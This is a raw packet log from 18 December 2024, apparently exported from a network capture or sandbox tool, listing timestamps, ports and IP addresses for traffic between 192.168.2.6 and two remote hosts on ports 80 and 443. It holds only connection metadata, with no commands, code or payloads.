Dec 18, 2024 11:47:42.965416908 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:42.966835022 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:42.966847897 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:42.967189074 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:42.972987890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.973067045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.973092079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.973138094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.981364965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.981432915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.981462002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.981503010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.989805937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.989906073 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.989984035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.990030050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.998148918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.998223066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:42.998234034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:42.998270035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.006580114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.006650925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.006670952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.006701946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.008306980 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:43.015069962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.015132904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.015170097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.015170097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.049555063 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:43.049555063 CET	49880	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:43.049634933 CET	443	49880	104.21.64.80	192.168.2.6
Dec 18, 2024 11:47:43.101150036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.101201057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.101416111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.123517036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.123564005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.123606920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.123730898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.125633955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.125699043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.125859022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.125905037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.130443096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.130512953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.130577087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.130626917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.135819912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.135888100 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.135917902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.135960102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.140149117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.140214920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.140237093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.140283108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.144835949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.144891024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.144934893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.144973993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.149569988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.149636984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.149674892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.149766922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.154115915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.154175043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.154182911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.154216051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.158626080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.158696890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.158714056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.158761978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.163218021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.163284063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.163340092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.163383961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.167773962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.167840958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.167876959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.167931080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.172466993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.172497988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.172533989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.172557116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.177001953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.177087069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.177118063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.177181005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.181613922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.181684017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.181706905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.181751013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.186170101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.186235905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.186327934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.186374903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.190753937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.190782070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.190804958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.190825939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.195363998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.195417881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.195432901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.195466995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.199906111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.199973106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.200018883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.200057983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.204679966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.204745054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.204833984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.204875946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.209111929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.209171057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.209206104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.209244967 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.222161055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.222223043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.222337961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.222383976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.224716902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.224757910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.224792004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.224828005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.243244886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.243343115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.292188883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.292246103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.292269945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.292305946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.294272900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.294332027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.315192938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.315212011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.315274000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.315325975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.317101002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.317117929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.317142963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.317159891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.320467949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.320557117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.320611000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.320646048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.323474884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.323532104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.323740959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.323779106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.327908039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.327924967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.327975035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.330363035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.330421925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.330445051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.330477953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.335938931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.335956097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.336025000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.336046934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.337920904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.337938070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.337980032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.337991953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.340650082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.340676069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.340715885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.342320919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.343547106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.343619108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.343652010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.343693972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.346772909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.346838951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.346878052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.346916914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.350028038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.350084066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.350133896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.350176096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.352049112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.352104902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.352108955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.352140903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.353986025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.354037046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.354058981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.354098082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.356010914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.356066942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.356085062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.356125116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.357978106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.358028889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.358156919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.358208895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.359951019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.360001087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.360174894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.360224009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.361871958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.361921072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.361962080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.362004042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.363801956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.363852024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.363898039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.363929987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.365756035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.365806103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.365926027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.365967035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.367746115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.367794037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.367811918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.367852926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.369729042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.369780064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.369823933 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.369865894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.371639013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.371654987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.371687889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.371702909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.373527050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.373577118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.373661995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.373703957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.375463963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.375519991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.375524044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.375562906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.377438068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.377487898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.377504110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.377538919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.379396915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.379442930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.379452944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.379492044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.381263018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.381313086 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.381352901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.381392002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.383164883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.383208036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.383265018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.383299112 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.385092974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.385145903 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.385248899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.385288954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.387001038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.387046099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.387083054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.387120962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.388930082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.388977051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.389034033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.389075994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.390810013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.390858889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.390935898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.390976906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.396336079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.396356106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.396395922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.396418095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.483359098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.483424902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.483458042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.483498096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.484266043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.484313011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.484428883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.484469891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.486222029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.486273050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.507045984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.507112026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.507126093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.507167101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.507597923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.507646084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.507747889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.507795095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.509232998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.509366035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.509474993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.509524107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.510797024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.510844946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.510909081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.510967016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.512291908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.512341976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.512398005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.512437105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.513902903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.513969898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.514017105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.514059067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.515336990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.515387058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.515400887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.515440941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.516901016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.516947985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.517021894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.517066002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.518279076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.518342018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.518409967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.518448114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.519799948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.519843102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.519906998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.519946098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.521332026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.521378994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.521387100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.521437883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.522839069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.522886038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.522895098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.522945881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.524310112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.524358988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.524456978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.524502039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.525890112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.525944948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.526022911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.526061058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.527425051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.527472019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.527475119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.527512074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.528835058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.528888941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:43.528973103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:43.529017925 CET	49878	80	192.168.2.6	31.41.244.11
